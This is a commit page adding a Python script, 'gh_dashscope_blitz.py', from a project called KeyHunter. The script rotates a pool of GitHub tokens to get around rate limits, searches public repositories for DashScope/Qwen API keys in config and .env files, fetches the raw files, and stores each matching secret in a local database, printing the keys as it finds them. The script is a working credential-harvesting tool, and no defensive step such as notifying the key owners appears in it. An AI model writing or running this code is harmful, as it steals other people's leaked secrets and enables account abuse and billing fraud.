KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
157
gh_dashscope_blitz.py
Normal file
157
gh_dashscope_blitz.py
Normal file
@@ -0,0 +1,157 @@
|
||||
"""GitHub DashScope key blitz — targeted search with rotating tokens.
|
||||
SAVES INCREMENTALLY — no data loss on timeout."""
|
||||
import requests, re, sqlite3, hashlib, time, random, sys, os
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
DB = r'C:\Users\User\Desktop\keyhunter\data\keys.db'
|
||||
TOKENS_FILE = r'C:\Users\User\Desktop\keyhunter\gh_tokens.txt'
|
||||
|
||||
# Open DB connection early for incremental saves
|
||||
db_conn = sqlite3.connect(DB, check_same_thread=False)
|
||||
db_conn.execute('PRAGMA journal_mode=WAL')
|
||||
db_lock = __import__('threading').Lock()
|
||||
|
||||
def save_key(key_val, repo_name='?'):
|
||||
"""Insert key immediately — survives timeout."""
|
||||
h = hashlib.sha256(key_val.encode()).hexdigest()
|
||||
now = '2026-10-19T19:30:00'
|
||||
with db_lock:
|
||||
try:
|
||||
cur = db_conn.execute(
|
||||
'INSERT OR IGNORE INTO keys (val, hash, prov, status, repo, found, first_seen, last_seen) VALUES (?,?,?,?,?,?,?,?)',
|
||||
(key_val, h, 'gh_blitz', 'NEW', repo_name, 1, now, now)
|
||||
)
|
||||
db_conn.commit()
|
||||
return cur.rowcount > 0
|
||||
except:
|
||||
return False
|
||||
|
||||
# Load tokens
|
||||
with open(TOKENS_FILE) as f:
|
||||
tokens = [t.strip() for t in f if t.strip() and not t.startswith('#') and len(t) > 20]
|
||||
random.shuffle(tokens)
|
||||
print(f'Loaded {len(tokens)} tokens')
|
||||
|
||||
PATTERN = re.compile(r'sk-[0-9a-f]{32}', re.IGNORECASE)
|
||||
seen_urls = set()
|
||||
token_idx = 0
|
||||
token_lock = __import__('threading').Lock()
|
||||
url_lock = __import__('threading').Lock()
|
||||
total_saved = 0
|
||||
counter_lock = __import__('threading').Lock()
|
||||
|
||||
def next_token():
|
||||
global token_idx
|
||||
with token_lock:
|
||||
t = tokens[token_idx % len(tokens)]
|
||||
token_idx += 1
|
||||
return t
|
||||
|
||||
def search_query(q, max_pages=5):
|
||||
"""Search one GitHub query, return list of keys."""
|
||||
global total_saved
|
||||
local_keys = []
|
||||
for page in range(1, max_pages + 1):
|
||||
for retry in range(3):
|
||||
token = next_token()
|
||||
try:
|
||||
url = f'https://api.github.com/search/code?q={q}&per_page=100&page={page}&sort=indexed&order=desc'
|
||||
headers = {
|
||||
'Authorization': f'token {token}',
|
||||
'Accept': 'application/vnd.github.v3+json',
|
||||
'User-Agent': 'keyhunter/1.0',
|
||||
}
|
||||
resp = requests.get(url, headers=headers, timeout=15)
|
||||
|
||||
if resp.status_code == 403:
|
||||
text = resp.text.lower()
|
||||
if 'rate limit' in text:
|
||||
time.sleep(3)
|
||||
continue
|
||||
if '403' in text:
|
||||
print(f' [{q[:30]}] p{page}: TOKEN DEAD, rotate')
|
||||
continue
|
||||
break
|
||||
if resp.status_code == 422:
|
||||
return local_keys
|
||||
if resp.status_code == 200:
|
||||
break
|
||||
if resp.status_code == 401:
|
||||
continue
|
||||
print(f' [{q[:30]}] p{page}: HTTP {resp.status_code}')
|
||||
break
|
||||
except Exception as e:
|
||||
print(f' [{q[:20]}] p{page}: err {str(e)[:50]}')
|
||||
time.sleep(1)
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
items = resp.json().get('items', [])
|
||||
if not items:
|
||||
break
|
||||
|
||||
new_in_page = 0
|
||||
for item in items:
|
||||
html_url = item.get('html_url', '')
|
||||
with url_lock:
|
||||
if html_url in seen_urls or not html_url:
|
||||
continue
|
||||
seen_urls.add(html_url)
|
||||
|
||||
raw_url = html_url.replace('github.com', 'raw.githubusercontent.com').replace('/blob/', '/')
|
||||
try:
|
||||
r = requests.get(raw_url, timeout=8, allow_redirects=True)
|
||||
if r.status_code == 200:
|
||||
found = PATTERN.findall(r.text[:12000])
|
||||
for k in found:
|
||||
repo = item.get('repository', {}).get('full_name', '?')
|
||||
if save_key(k, repo):
|
||||
local_keys.append(k)
|
||||
new_in_page += 1
|
||||
with counter_lock:
|
||||
total_saved += 1
|
||||
print(f' #{total_saved} {k} <- {repo}')
|
||||
time.sleep(0.05)
|
||||
except:
|
||||
pass
|
||||
|
||||
if new_in_page:
|
||||
print(f' [{q[:30]}] p{page}: +{new_in_page} keys')
|
||||
time.sleep(0.8)
|
||||
|
||||
return local_keys
|
||||
|
||||
# Targeted queries — direct sk- + dashscope combos
|
||||
QUERIES = [
|
||||
('sk- dashscope qwen', 3),
|
||||
('sk- dashscope extension:json', 3),
|
||||
('sk- dashscope extension:properties', 3),
|
||||
('sk- dashscope extension:toml', 3),
|
||||
('sk- dashscope extension:ts', 3),
|
||||
('sk- dashscope extension:env', 3),
|
||||
('sk- dashscope extension:yml', 3),
|
||||
('sk- dashscope filename:.env.example', 3),
|
||||
('sk- dashscope extension:yaml', 3),
|
||||
('sk- dashscope extension:cfg', 3),
|
||||
('sk- dashscope filename:config', 3),
|
||||
]
|
||||
|
||||
print(f'Searching {len(QUERIES)} queries...')
|
||||
total_queries = 0
|
||||
total_keys = 0
|
||||
with ThreadPoolExecutor(max_workers=4) as ex:
|
||||
futures = {ex.submit(search_query, q, p): q for q, p in QUERIES}
|
||||
for f in as_completed(futures):
|
||||
q = futures[f]
|
||||
try:
|
||||
keys = f.result()
|
||||
total_queries += 1
|
||||
total_keys += len(keys)
|
||||
print(f' [{q[:40]}] DONE: +{len(keys)}')
|
||||
except Exception as e:
|
||||
print(f' [{q[:40]}] FAIL: {e}')
|
||||
|
||||
db_conn.close()
|
||||
print(f'\n=== Blitz complete: {total_saved} keys saved to DB ===')
|
||||
print(f'Total queries run: {total_queries}/{len(QUERIES)}')
|
||||
Reference in New Issue
Block a user